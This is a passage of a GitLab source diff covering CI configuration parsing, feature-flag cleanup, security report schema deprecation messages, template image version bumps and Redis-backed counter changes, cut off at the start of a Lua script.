@@ -11,6 +11,7 @@ module Gitlab
end
operation_name :set_delayed_project_removal_to_null_for_user_namespace
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url.rb b/lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url.rb
index 8aab7d13b45..6d59a5c8651 100644
--- a/lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url.rb
+++ b/lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url.rb
@@ -4,6 +4,8 @@
module Gitlab
module BackgroundMigration
class UpdateJiraTrackerDataDeploymentTypeBasedOnUrl < Gitlab::BackgroundMigration::BatchedMigrationJob
+ feature_category :database
+
# rubocop: disable Gitlab/NamespacedClass
class JiraTrackerData < ActiveRecord::Base
self.table_name = "jira_tracker_data"
diff --git a/lib/gitlab/chat_name_token.rb b/lib/gitlab/chat_name_token.rb
index 76f2a4ae38c..9b4cb9d0134 100644
--- a/lib/gitlab/chat_name_token.rb
+++ b/lib/gitlab/chat_name_token.rb
@@ -16,9 +16,7 @@ module Gitlab
def get
Gitlab::Redis::SharedState.with do |redis|
data = redis.get(redis_shared_state_key)
- params = Gitlab::Json.parse(data, symbolize_names: true) if data
- params[:integration_id] ||= params.delete(:service_id) if params && params[:service_id]
- params
+ Gitlab::Json.parse(data, symbolize_names: true) if data
end
end
diff --git a/lib/gitlab/ci/config/entry/cache.rb b/lib/gitlab/ci/config/entry/cache.rb
index a5481071fc5..a635f409109 100644
--- a/lib/gitlab/ci/config/entry/cache.rb
+++ b/lib/gitlab/ci/config/entry/cache.rb
@@ -9,7 +9,7 @@ module Gitlab
include ::Gitlab::Config::Entry::Validatable
include ::Gitlab::Config::Entry::Attributable
- ALLOWED_KEYS = %i[key untracked paths when policy].freeze
+ ALLOWED_KEYS = %i[key untracked paths when policy unprotect].freeze
ALLOWED_POLICY = %w[pull-push push pull].freeze
DEFAULT_POLICY = 'pull-push'
ALLOWED_WHEN = %w[on_success on_failure always].freeze
@@ -33,18 +33,22 @@ module Gitlab
entry :key, Entry::Key,
description: 'Cache key used to define a cache affinity.'
+ entry :unprotect, ::Gitlab::Config::Entry::Boolean,
+ description: 'Unprotect the cache from a protected ref.'
+
entry :untracked, ::Gitlab::Config::Entry::Boolean,
description: 'Cache all untracked files.'
entry :paths, Entry::Paths,
description: 'Specify which paths should be cached across builds.'
- attributes :policy, :when
+ attributes :policy, :when, :unprotect
def value
result = super
result[:key] = key_value
+ result[:unprotect] = unprotect || false
result[:policy] = policy || DEFAULT_POLICY
# Use self.when to avoid conflict with reserved word
result[:when] = self.when || DEFAULT_WHEN
diff --git a/lib/gitlab/ci/config/entry/processable.rb b/lib/gitlab/ci/config/entry/processable.rb
index e0a052ffdfd..e0f0903174c 100644
--- a/lib/gitlab/ci/config/entry/processable.rb
+++ b/lib/gitlab/ci/config/entry/processable.rb
@@ -27,9 +27,9 @@ module Gitlab
validates :config, disallowed_keys: {
in: %i[only except start_in],
- message: 'key may not be used with `rules`'
- },
- if: :has_rules?
+ message: 'key may not be used with `rules`',
+ ignore_nil: true
+ }, if: :has_rules_value?
with_options allow_nil: true do
validates :extends, array_of_strings_or_string: true
diff --git a/lib/gitlab/ci/config/entry/product/parallel.rb b/lib/gitlab/ci/config/entry/product/parallel.rb
index 5c78a8f68c7..e91714e3f5c 100644
--- a/lib/gitlab/ci/config/entry/product/parallel.rb
+++ b/lib/gitlab/ci/config/entry/product/parallel.rb
@@ -12,7 +12,7 @@ module Gitlab
strategy :ParallelBuilds, if: -> (config) { config.is_a?(Numeric) }
strategy :MatrixBuilds, if: -> (config) { config.is_a?(Hash) }
- PARALLEL_LIMIT = 50
+ PARALLEL_LIMIT = 200
class ParallelBuilds < ::Gitlab::Config::Entry::Node
include ::Gitlab::Config::Entry::Validatable
diff --git a/lib/gitlab/ci/config/entry/reports.rb b/lib/gitlab/ci/config/entry/reports.rb
index 16844fa88db..6408f412e6f 100644
--- a/lib/gitlab/ci/config/entry/reports.rb
+++ b/lib/gitlab/ci/config/entry/reports.rb
@@ -54,7 +54,7 @@ module Gitlab
end
def value
- @config.transform_values do |value|
+ @config.compact.transform_values do |value|
if value.is_a?(Hash)
value
else
diff --git a/lib/gitlab/ci/config/entry/variable.rb b/lib/gitlab/ci/config/entry/variable.rb
index decb568ffc9..a5c6aaa1e3a 100644
--- a/lib/gitlab/ci/config/entry/variable.rb
+++ b/lib/gitlab/ci/config/entry/variable.rb
@@ -54,9 +54,7 @@ module Gitlab
validates :key, alphanumeric: true
validates :config_value, alphanumeric: true, allow_nil: true
validates :config_description, alphanumeric: true, allow_nil: true
- validates :config_expand, boolean: true, allow_nil: true, if: -> {
- ci_raw_variables_in_yaml_config_enabled?
- }
+ validates :config_expand, boolean: true, allow_nil: true
validates :config_options, array_of_strings: true, allow_nil: true
validate do
@@ -82,16 +80,10 @@ module Gitlab
end
def value_with_data
- if ci_raw_variables_in_yaml_config_enabled?
- {
- value: config_value.to_s,
- raw: (!config_expand if has_config_expand?)
- }.compact
- else
- {
- value: config_value.to_s
- }.compact
- end
+ {
+ value: config_value.to_s,
+ raw: (!config_expand if has_config_expand?)
+ }.compact
end
def value_with_prefill_data
@@ -100,10 +92,6 @@ module Gitlab
options: config_options
).compact
end
-
- def ci_raw_variables_in_yaml_config_enabled?
- YamlProcessor::FeatureFlags.enabled?(:ci_raw_variables_in_yaml_config)
- end
end
class UnknownStrategy < ::Gitlab::Config::Entry::Node
diff --git a/lib/gitlab/ci/config/external/file/artifact.rb b/lib/gitlab/ci/config/external/file/artifact.rb
index 21a57640aee..140cbfac5c1 100644
--- a/lib/gitlab/ci/config/external/file/artifact.rb
+++ b/lib/gitlab/ci/config/external/file/artifact.rb
@@ -38,10 +38,6 @@ module Gitlab
private
- def project
- context&.parent_pipeline&.project
- end
-
def validate_context!
context.logger.instrument(:config_file_artifact_validate_context) do
if !creating_child_pipeline?
diff --git a/lib/gitlab/ci/config/external/file/base.rb b/lib/gitlab/ci/config/external/file/base.rb
index 65caf4ac47d..7899fe0ff73 100644
--- a/lib/gitlab/ci/config/external/file/base.rb
+++ b/lib/gitlab/ci/config/external/file/base.rb
@@ -47,7 +47,6 @@ module Gitlab
end
def validate!
- context.check_execution_time! if ::Feature.disabled?(:ci_refactoring_external_mapper, context.project)
validate_location!
validate_context! if valid?
fetch_and_validate_content! if valid?
diff --git a/lib/gitlab/ci/config/external/mapper.rb b/lib/gitlab/ci/config/external/mapper.rb
index a41bc2b39f2..61b4d1ada10 100644
--- a/lib/gitlab/ci/config/external/mapper.rb
+++ b/lib/gitlab/ci/config/external/mapper.rb
@@ -7,18 +7,6 @@ module Gitlab
class Mapper
include Gitlab::Utils::StrongMemoize
- # Will be removed with FF ci_refactoring_external_mapper
- FILE_CLASSES = [
- External::File::Local,
- External::File::Project,
- External::File::Remote,
- External::File::Template,
- External::File::Artifact
- ].freeze
-
- # Will be removed with FF ci_refactoring_external_mapper
- FILE_SUBKEYS = FILE_CLASSES.map { |f| f.name.demodulize.downcase }.freeze
-
Error = Class.new(StandardError)
AmbigiousSpecificationError = Class.new(Error)
TooManyIncludesError = Class.new(Error)
@@ -32,11 +20,7 @@ module Gitlab
return [] if @locations.empty?
context.logger.instrument(:config_mapper_process) do
- if ::Feature.enabled?(:ci_refactoring_external_mapper, context.project)
- process_without_instrumentation
- else
- legacy_process_without_instrumentation
- end
+ process_without_instrumentation
end
end
@@ -57,138 +41,6 @@ module Gitlab
files
end
-
- # This and the following methods will be removed with FF ci_refactoring_external_mapper
- def legacy_process_without_instrumentation
- @locations
- .map(&method(:normalize_location))
- .filter_map(&method(:verify_rules))
- .flat_map(&method(:expand_project_files))
- .flat_map(&method(:expand_wildcard_paths))
- .map(&method(:expand_variables))
- .map(&method(:select_first_matching))
- .each(&method(:verify!))
- end
-
- # convert location if String to canonical form
- def normalize_location(location)
- if location.is_a?(String)
- expanded_location = expand_variables(location)
- normalize_location_string(expanded_location)
- else
- location.deep_symbolize_keys
- end
- end
-
- def verify_rules(location)
- logger.instrument(:config_mapper_rules) do
- verify_rules_without_instrumentation(location)
- end
- end
-
- def verify_rules_without_instrumentation(location)
- return unless Rules.new(location[:rules]).evaluate(context).pass?
-
- location
- end
-
- def expand_project_files(location)
- return location unless location[:project]
-
- Array.wrap(location[:file]).map do |file|
- location.merge(file: file)
- end
- end
-
- def expand_wildcard_paths(location)
- logger.instrument(:config_mapper_wildcards) do
- expand_wildcard_paths_without_instrumentation(location)
- end
- end
-
- def expand_wildcard_paths_without_instrumentation(location)
- # We only support local files for wildcard paths
- return location unless location[:local] && location[:local].include?('*')
-
- context.project.repository.search_files_by_wildcard_path(location[:local], context.sha).map do |path|
- { local: path }
- end
- end
-
- def normalize_location_string(location)
- if ::Gitlab::UrlSanitizer.valid?(location)
- { remote: location }
- else
- { local: location }
- end
- end
-
- def select_first_matching(location)
- logger.instrument(:config_mapper_select) do
- select_first_matching_without_instrumentation(location)
- end
- end
-
- def select_first_matching_without_instrumentation(location)
- matching = FILE_CLASSES.map do |file_class|
- file_class.new(location, context)
- end.select(&:matching?)
-
- if matching.one?
- matching.first
- elsif matching.empty?
- raise AmbigiousSpecificationError, "`#{masked_location(location.to_json)}` does not have a valid subkey for include. Valid subkeys are: `#{FILE_SUBKEYS.join('`, `')}`"
- else
- raise AmbigiousSpecificationError, "Each include must use only one of: `#{FILE_SUBKEYS.join('`, `')}`"
- end
- end
-
- def verify!(location_object)
- verify_max_includes!
- location_object.validate!
- expandset.add(location_object)
- end
-
- def verify_max_includes!
- if expandset.count >= context.max_includes
- raise TooManyIncludesError, "Maximum of #{context.max_includes} nested includes are allowed!"
- end
- end
-
- def expand_variables(data)
- logger.instrument(:config_mapper_variables) do
- expand_variables_without_instrumentation(data)
- end
- end
-
- def expand_variables_without_instrumentation(data)
- if data.is_a?(String)
- expand(data)
- else
- transform(data)
- end
- end
-
- def transform(data)
- data.transform_values do |values|
- case values
- when Array
- values.map { |value| expand(value.to_s) }
- when String
- expand(values)
- else
- values
- end
- end
- end
-
- def expand(data)
- ExpandVariables.expand(data, -> { context.variables_hash })
- end
-
- def masked_location(location)
- context.mask_variables_from(location)
- end
end
end
end
diff --git a/lib/gitlab/ci/parsers/security/validators/schema_validator.rb b/lib/gitlab/ci/parsers/security/validators/schema_validator.rb
index ab5203252a2..e6a2e5c3b33 100644
--- a/lib/gitlab/ci/parsers/security/validators/schema_validator.rb
+++ b/lib/gitlab/ci/parsers/security/validators/schema_validator.rb
@@ -17,7 +17,7 @@ module Gitlab
secret_detection: %w[14.0.0 14.0.1 14.0.2 14.0.3 14.0.4 14.0.5 14.0.6 14.1.0 14.1.1 14.1.2 14.1.3 15.0.0 15.0.1 15.0.2 15.0.4]
}.freeze
- VERSIONS_TO_REMOVE_IN_16_0 = [].freeze
+ VERSIONS_TO_REMOVE_IN_16_0 = %w[14.0.0 14.0.1 14.0.2 14.0.3 14.0.4 14.0.5 14.0.6 14.1.0 14.1.1 14.1.2 14.1.3].freeze
DEPRECATED_VERSIONS = {
cluster_image_scanning: VERSIONS_TO_REMOVE_IN_16_0,
@@ -30,6 +30,8 @@ module Gitlab
secret_detection: VERSIONS_TO_REMOVE_IN_16_0
}.freeze
+ CURRENT_VERSIONS = SUPPORTED_VERSIONS.to_h { |k, v| [k, v - DEPRECATED_VERSIONS[k]] }
+
class Schema
def root_path
File.join(__dir__, 'schemas')
@@ -129,6 +131,11 @@ module Gitlab
end
def report_uses_deprecated_schema_version?
+ # Avoid deprecation warnings for GitLab security scanners
+ # To be removed via https://gitlab.com/gitlab-org/gitlab/-/issues/386798
+ return if report_data.dig('scan', 'scanner', 'vendor', 'name')&.downcase == 'gitlab'
+ return if report_data.dig('scan', 'analyzer', 'vendor', 'name')&.downcase == 'gitlab'
+
DEPRECATED_VERSIONS[report_type].include?(report_version)
end
@@ -182,11 +189,15 @@ module Gitlab
def add_deprecated_report_version_message
log_warnings(problem_type: 'using_deprecated_schema_version')
- template = _("Version %{report_version} for report type %{report_type} has been deprecated,"\
- " supported versions for this report type are: %{supported_schema_versions}."\
- " GitLab will attempt to parse and ingest this report if valid.")
+ template = _("version %{report_version} for report type %{report_type} is deprecated. "\
+ "However, GitLab will still attempt to parse and ingest this report. "\
+ "Upgrade the security report to one of the following versions: %{current_schema_versions}.")
- message = format(template, report_version: report_version, report_type: report_type, supported_schema_versions: supported_schema_versions)
+ message = format(
+ template,
+ report_version: report_version,
+ report_type: report_type,
+ current_schema_versions: current_schema_versions)
add_message_as(level: :deprecation_warning, message: message)
end
@@ -207,6 +218,10 @@ module Gitlab
)
end
+ def current_schema_versions
+ CURRENT_VERSIONS[report_type].join(", ")
+ end
+
def supported_schema_versions
SUPPORTED_VERSIONS[report_type].join(", ")
end
diff --git a/lib/gitlab/ci/pipeline/chain/command.rb b/lib/gitlab/ci/pipeline/chain/command.rb
index 31b130b5ab7..d2dc712e366 100644
--- a/lib/gitlab/ci/pipeline/chain/command.rb
+++ b/lib/gitlab/ci/pipeline/chain/command.rb
@@ -127,6 +127,10 @@ module Gitlab
.observe({ plan: project.actual_plan_name }, jobs_count)
end
+ def observe_pipeline_includes_count(pipeline)
+ logger.observe(:pipeline_includes_count, pipeline.config_metadata&.[](:includes)&.count, once: true)
+ end
+
def increment_pipeline_failure_reason_counter(reason)
metrics.pipeline_failure_reason_counter
.increment(reason: (reason || :unknown_failure).to_s)
diff --git a/lib/gitlab/ci/pipeline/chain/create_deployments.rb b/lib/gitlab/ci/pipeline/chain/create_deployments.rb
index a8276d84b87..99e438ddbae 100644
--- a/lib/gitlab/ci/pipeline/chain/create_deployments.rb
+++ b/lib/gitlab/ci/pipeline/chain/create_deployments.rb
@@ -6,7 +6,7 @@ module Gitlab
module Chain
class CreateDeployments < Chain::Base
def perform!
- create_deployments!
+ create_deployments! if Feature.disabled?(:move_create_deployments_to_worker, pipeline.project)
end
def break?
diff --git a/lib/gitlab/ci/pipeline/chain/populate.rb b/lib/gitlab/ci/pipeline/chain/populate.rb
index 654e24be8e1..c59ef2ba6a4 100644
--- a/lib/gitlab/ci/pipeline/chain/populate.rb
+++ b/lib/gitlab/ci/pipeline/chain/populate.rb
@@ -18,7 +18,8 @@ module Gitlab
pipeline.stages = @command.pipeline_seed.stages
if stage_names.empty?
- return error('No stages / jobs for this pipeline.')
+ return error('Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.')
end
if pipeline.invalid?
diff --git a/lib/gitlab/ci/pipeline/chain/populate_metadata.rb b/lib/gitlab/ci/pipeline/chain/populate_metadata.rb
index 89befb2a65b..e7a9009f8f4 100644
--- a/lib/gitlab/ci/pipeline/chain/populate_metadata.rb
+++ b/lib/gitlab/ci/pipeline/chain/populate_metadata.rb
@@ -22,8 +22,7 @@ module Gitlab
private
def set_pipeline_name
- return if Feature.disabled?(:pipeline_name, pipeline.project) ||
- @command.yaml_processor_result.workflow_name.blank?
+ return if @command.yaml_processor_result.workflow_name.blank?
name = @command.yaml_processor_result.workflow_name
name = ExpandVariables.expand(name, -> { global_context.variables.sort_and_expand_all })
diff --git a/lib/gitlab/ci/pipeline/chain/sequence.rb b/lib/gitlab/ci/pipeline/chain/sequence.rb
index de147914850..dd097187955 100644
--- a/lib/gitlab/ci/pipeline/chain/sequence.rb
+++ b/lib/gitlab/ci/pipeline/chain/sequence.rb
@@ -30,6 +30,7 @@ module Gitlab
@command.observe_creation_duration(current_monotonic_time - @start)
@command.observe_pipeline_size(@pipeline)
@command.observe_jobs_count_in_alive_pipelines
+ @command.observe_pipeline_includes_count(@pipeline)
@pipeline
end
diff --git a/lib/gitlab/ci/pipeline/logger.rb b/lib/gitlab/ci/pipeline/logger.rb
index f393406b549..8286dfc6560 100644
--- a/lib/gitlab/ci/pipeline/logger.rb
+++ b/lib/gitlab/ci/pipeline/logger.rb
@@ -121,7 +121,7 @@ module Gitlab
def enabled?
::Feature.enabled?(:ci_pipeline_creation_logger, project, type: :ops)
end
- strong_memoize_attr :enabled?, :enabled
+ strong_memoize_attr :enabled?
def observations
@observations ||= {}
diff --git a/lib/gitlab/ci/pipeline/seed/build.rb b/lib/gitlab/ci/pipeline/seed/build.rb
index b0b79b994c1..684b58474ad 100644
--- a/lib/gitlab/ci/pipeline/seed/build.rb
+++ b/lib/gitlab/ci/pipeline/seed/build.rb
@@ -53,7 +53,7 @@ module Gitlab
end
end
end
- strong_memoize_attr :included?, :inclusion
+ strong_memoize_attr :included?
def errors
logger.instrument(:pipeline_seed_build_errors) do
@@ -261,7 +261,7 @@ module Gitlab
def reuse_build_in_seed_context?
Feature.enabled?(:ci_reuse_build_in_seed_context, @pipeline.project)
end
- strong_memoize_attr :reuse_build_in_seed_context?, :reuse_build_in_seed_context
+ strong_memoize_attr :reuse_build_in_seed_context?
end
end
end
diff --git a/lib/gitlab/ci/pipeline/seed/build/cache.rb b/lib/gitlab/ci/pipeline/seed/build/cache.rb
index 781065a63db..409b6658cc0 100644
--- a/lib/gitlab/ci/pipeline/seed/build/cache.rb
+++ b/lib/gitlab/ci/pipeline/seed/build/cache.rb
@@ -14,6 +14,7 @@ module Gitlab
@policy = local_cache.delete(:policy)
@untracked = local_cache.delete(:untracked)
@when = local_cache.delete(:when)
+ @unprotect = local_cache.delete(:unprotect)
@custom_key_prefix = custom_key_prefix
raise ArgumentError, "unknown cache keys: #{local_cache.keys}" if local_cache.any?
@@ -25,7 +26,8 @@ module Gitlab
paths: @paths,
policy: @policy,
untracked: @untracked,
- when: @when
+ when: @when,
+ unprotect: @unprotect
}.compact
end
diff --git a/lib/gitlab/ci/status/build/manual.rb b/lib/gitlab/ci/status/build/manual.rb
index 0074f3675e0..5e77db3d336 100644
--- a/lib/gitlab/ci/status/build/manual.rb
+++ b/lib/gitlab/ci/status/build/manual.rb
@@ -22,14 +22,26 @@ module Gitlab
def illustration_content
if can?(user, :update_build, subject)
- _('This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes.')
+ manual_job_action_message
else
generic_permission_failure_message
end
end
+ def manual_job_action_message
+ if subject.retryable?
+ _("You can modify this job's CI/CD variables before running it again.")
+ else
+ _('This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job.')
+ end
+ end
+
def generic_permission_failure_message
- _("This job does not run automatically and must be started manually, but you do not have access to it.")
+ if subject.outdated_deployment?
+ _("This deployment job does not run automatically and must be started manually, but it's older than the latest deployment, and therefore can't run.")
+ else
+ _("This job does not run automatically and must be started manually, but you do not have access to it.")
+ end
end
end
end
diff --git a/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml
index b4beeb60dfd..47b79302828 100644
--- a/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml
@@ -8,7 +8,7 @@ code_quality:
variables:
DOCKER_DRIVER: overlay2
DOCKER_TLS_CERTDIR: ""
- CODE_QUALITY_IMAGE_TAG: "0.87.3"
+ CODE_QUALITY_IMAGE_TAG: "0.89.0"
CODE_QUALITY_IMAGE: "$CI_TEMPLATE_REGISTRY_HOST/gitlab-org/ci-cd/codequality:$CODE_QUALITY_IMAGE_TAG"
needs: []
script:
diff --git a/lib/gitlab/ci/templates/Jobs/DAST-Default-Branch-Deploy.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/DAST-Default-Branch-Deploy.gitlab-ci.yml
index 7a208584c4c..6884a9556b4 100644
--- a/lib/gitlab/ci/templates/Jobs/DAST-Default-Branch-Deploy.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/DAST-Default-Branch-Deploy.gitlab-ci.yml
@@ -1,5 +1,5 @@
variables:
- DAST_AUTO_DEPLOY_IMAGE_VERSION: 'v2.42.1'
+ DAST_AUTO_DEPLOY_IMAGE_VERSION: 'v2.45.0'
.dast-auto-deploy:
image: "${CI_TEMPLATE_REGISTRY_HOST}/gitlab-org/cluster-integration/auto-deploy-image:${DAST_AUTO_DEPLOY_IMAGE_VERSION}"
diff --git a/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml
index 292b0a0036d..dc7e5f445d2 100644
--- a/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml
@@ -1,5 +1,5 @@
variables:
- AUTO_DEPLOY_IMAGE_VERSION: 'v2.42.1'
+ AUTO_DEPLOY_IMAGE_VERSION: 'v2.45.0'
.auto-deploy:
image: "${CI_TEMPLATE_REGISTRY_HOST}/gitlab-org/cluster-integration/auto-deploy-image:${AUTO_DEPLOY_IMAGE_VERSION}"
diff --git a/lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml
index ba03ad6304f..9e15b07f5d1 100644
--- a/lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml
@@ -1,5 +1,5 @@
variables:
- AUTO_DEPLOY_IMAGE_VERSION: 'v2.42.1'
+ AUTO_DEPLOY_IMAGE_VERSION: 'v2.45.0'
.auto-deploy:
image: "${CI_TEMPLATE_REGISTRY_HOST}/gitlab-org/cluster-integration/auto-deploy-image:${AUTO_DEPLOY_IMAGE_VERSION}"
diff --git a/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml
index 2c5027cdb43..8b49d2de8cf 100644
--- a/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml
@@ -255,7 +255,7 @@ sobelow-sast:
when: never
- if: $CI_COMMIT_BRANCH
exists:
- - 'mix.exs'
+ - '**/mix.exs'
spotbugs-sast:
extends: .sast-analyzer
diff --git a/lib/gitlab/ci/templates/Jobs/SAST.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/SAST.latest.gitlab-ci.yml
index 58709d3ab62..1c4dbe6cd0f 100644
--- a/lib/gitlab/ci/templates/Jobs/SAST.latest.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Jobs/SAST.latest.gitlab-ci.yml
@@ -332,12 +332,12 @@ sobelow-sast:
when: never
- if: $CI_PIPELINE_SOURCE == "merge_request_event" # Add the job to merge request pipelines if there's an open merge request.
exists:
- - 'mix.exs'
+ - '**/mix.exs'
- if: $CI_OPEN_MERGE_REQUESTS # Don't add it to a *branch* pipeline if it's already in a merge request pipeline.
when: never
- if: $CI_COMMIT_BRANCH # If there's no open merge request, add it to a *branch* pipeline instead.
exists:
- - 'mix.exs'
+ - '**/mix.exs'
spotbugs-sast:
extends: .sast-analyzer
diff --git a/lib/gitlab/ci/variables/collection.rb b/lib/gitlab/ci/variables/collection.rb
index e9766061072..9960a6fbdf5 100644
--- a/lib/gitlab/ci/variables/collection.rb
+++ b/lib/gitlab/ci/variables/collection.rb
@@ -72,8 +72,36 @@ module Gitlab
Collection.new(@variables.reject(&block))
end
- # `expand_raw_refs` will be deleted with the FF `ci_raw_variables_in_yaml_config`.
- def expand_value(value, keep_undefined: false, expand_file_refs: true, expand_raw_refs: true, project: nil)
+ def sort_and_expand_all(keep_undefined: false, expand_file_refs: true, expand_raw_refs: true)
+ sorted = Sort.new(self)
+ return self.class.new(self, sorted.errors) unless sorted.valid?
+
+ new_collection = self.class.new
+
+ sorted.tsort.each do |item|
+ unless item.depends_on
+ new_collection.append(item)
+ next
+ end
+
+ # expand variables as they are added
+ variable = item.to_runner_variable
+ variable[:value] = new_collection.expand_value(variable[:value], keep_undefined: keep_undefined,
+ expand_file_refs: expand_file_refs,
+ expand_raw_refs: expand_raw_refs)
+ new_collection.append(variable)
+ end
+
+ new_collection
+ end
+
+ def to_s
+ "#{@variables_by_key.keys}, @errors='#{@errors}'"
+ end
+
+ protected
+
+ def expand_value(value, keep_undefined: false, expand_file_refs: true, expand_raw_refs: true)
value.gsub(Item::VARIABLES_REGEXP) do
match = Regexp.last_match # it is either a valid variable definition or a ($$ / %%)
full_match = match[0]
@@ -88,19 +116,20 @@ module Gitlab
if variable # VARIABLE_NAME is an existing variable
if variable.file?
- # Will be cleaned up with https://gitlab.com/gitlab-org/gitlab/-/issues/378266
- if project
- # We only log if `project` exists to make sure it is called from `Ci::BuildRunnerPresenter`
- # when the variables are sent to Runner.
- Gitlab::AppJsonLogger.info(event: 'file_variable_is_referenced_in_another_variable',
- project_id: project.id,
- variable: variable_name)
- end
-
expand_file_refs ? variable.value : full_match
elsif variable.raw?
- # With `full_match`, we defer the expansion of raw variables to the runner. If we expand them here,
- # the runner will not know the expanded value is a raw variable and it tries to expand it again.
+ # Normally, it's okay to expand a raw variable if it's referenced in another variable because
+ # its rawness is not broken. However, the runner also tries to expand variables.
+ # Here, with `full_match`, we defer the expansion of raw variables to the runner.
+ # If we expand them here, the runner will not know that the expanded value is a raw variable
+ # and it tries to expand it again.
+ # Example: `A` is a normal variable with value `normal`.
+ # `B` is a raw variable with value `raw-$A`.
+ # `C` is a normal variable with value `$B`.
+ # If we expanded `C` here, the runner would receive `C` as `raw-$A`. And since `A` is a normal
+ # variable, the runner would expand it. So, the result would be `raw-normal`.
+ # With `full_match`, the runner receives `C` as `$B`. And since `B` is a raw variable, the
+ # runner expanded it as `raw-$A`, which is what we want.
# Discussion: https://gitlab.com/gitlab-org/gitlab/-/issues/353991#note_1103274951
expand_raw_refs ? variable.value : full_match
else
@@ -115,36 +144,7 @@ module Gitlab
end
end
- # `expand_raw_refs` will be deleted with the FF `ci_raw_variables_in_yaml_config`.
- def sort_and_expand_all(keep_undefined: false, expand_file_refs: true, expand_raw_refs: true, project: nil)
- sorted = Sort.new(self)
- return self.class.new(self, sorted.errors) unless sorted.valid?
-
- new_collection = self.class.new
-
- sorted.tsort.each do |item|
- unless item.depends_on
- new_collection.append(item)
- next
- end
-
- # expand variables as they are added
- variable = item.to_runner_variable
- variable[:value] = new_collection.expand_value(variable[:value], keep_undefined: keep_undefined,
- expand_file_refs: expand_file_refs,
- expand_raw_refs: expand_raw_refs,
- project: project)
- new_collection.append(variable)
- end
-
- new_collection
- end
-
- def to_s
- "#{@variables_by_key.keys}, @errors='#{@errors}'"
- end
-
- protected
+ private
attr_reader :variables
end
diff --git a/lib/gitlab/ci/yaml_processor/result.rb b/lib/gitlab/ci/yaml_processor/result.rb
index f2c1ad0575d..d867439b10b 100644
--- a/lib/gitlab/ci/yaml_processor/result.rb
+++ b/lib/gitlab/ci/yaml_processor/result.rb
@@ -64,12 +64,7 @@ module Gitlab
private
def assign_valid_attributes
- @root_variables = if YamlProcessor::FeatureFlags.enabled?(:ci_raw_variables_in_yaml_config)
- transform_to_array(@ci_config.variables_with_data)
- else
- transform_to_array(@ci_config.variables)
- end
-
+ @root_variables = transform_to_array(@ci_config.variables_with_data)
@root_variables_with_prefill_data = @ci_config.variables_with_prefill_data
@stages = @ci_config.stages
diff --git a/lib/gitlab/config/entry/attributable.rb b/lib/gitlab/config/entry/attributable.rb
index c8ad2521574..2e5b226678a 100644
--- a/lib/gitlab/config/entry/attributable.rb
+++ b/lib/gitlab/config/entry/attributable.rb
@@ -24,6 +24,10 @@ module Gitlab
define_method("has_#{attribute_method}?") do
config.is_a?(Hash) && config.key?(attribute)
end
+
+ define_method("has_#{attribute_method}_value?") do
+ config.is_a?(Hash) && config.key?(attribute) && !config[attribute].nil?
+ end
end
end
end
diff --git a/lib/gitlab/config/entry/validators.rb b/lib/gitlab/config/entry/validators.rb
index b88a6766d92..9e6a3d86e92 100644
--- a/lib/gitlab/config/entry/validators.rb
+++ b/lib/gitlab/config/entry/validators.rb
@@ -17,6 +17,7 @@ module Gitlab
class DisallowedKeysValidator < ActiveModel::EachValidator
def validate_each(record, attribute, value)
+ value = value.try(:compact) if options[:ignore_nil]
present_keys = value.try(:keys).to_a & options[:in]
if present_keys.any?
diff --git a/lib/gitlab/counters.rb b/lib/gitlab/counters.rb
new file mode 100644
index 00000000000..5ff664f53bd
--- /dev/null
+++ b/lib/gitlab/counters.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Counters
+ Increment = Struct.new(:amount, :ref, keyword_init: true)
+ end
+end
diff --git a/lib/gitlab/counters/buffered_counter.rb b/lib/gitlab/counters/buffered_counter.rb
index 56593b642a9..3e232c78e45 100644
--- a/lib/gitlab/counters/buffered_counter.rb
+++ b/lib/gitlab/counters/buffered_counter.rb
@@ -8,6 +8,17 @@ module Gitlab
WORKER_DELAY = 10.minutes
WORKER_LOCK_TTL = 10.minutes
+ # Refresh keys are set to expire after a very long time,
+ # so that they do not occupy Redis memory indefinitely,
+ # if for any reason they are not deleted.
+ # In practice, a refresh is not expected to take longer than this TTL.
+ REFRESH_KEYS_TTL = 14.days
+ CLEANUP_BATCH_SIZE = 50
+ CLEANUP_INTERVAL_SECONDS = 0.1
+
+ # Limit size of bitmap key to 2^26-1 (~8MB)
+ MAX_BITMAP_OFFSET = 67108863
+
LUA_FLUSH_INCREMENT_SCRIPT = <<~LUA
local increment_key, flushed_key = KEYS[1], KEYS[2]
local increment_value = redis.call("get", increment_key) or 0
@@ -31,9 +42,47 @@ module Gitlab
end
end
- def increment(amount)
+ LUA_INCREMENT_WITH_DEDUPLICATION_SCRIPT = <<~LUA
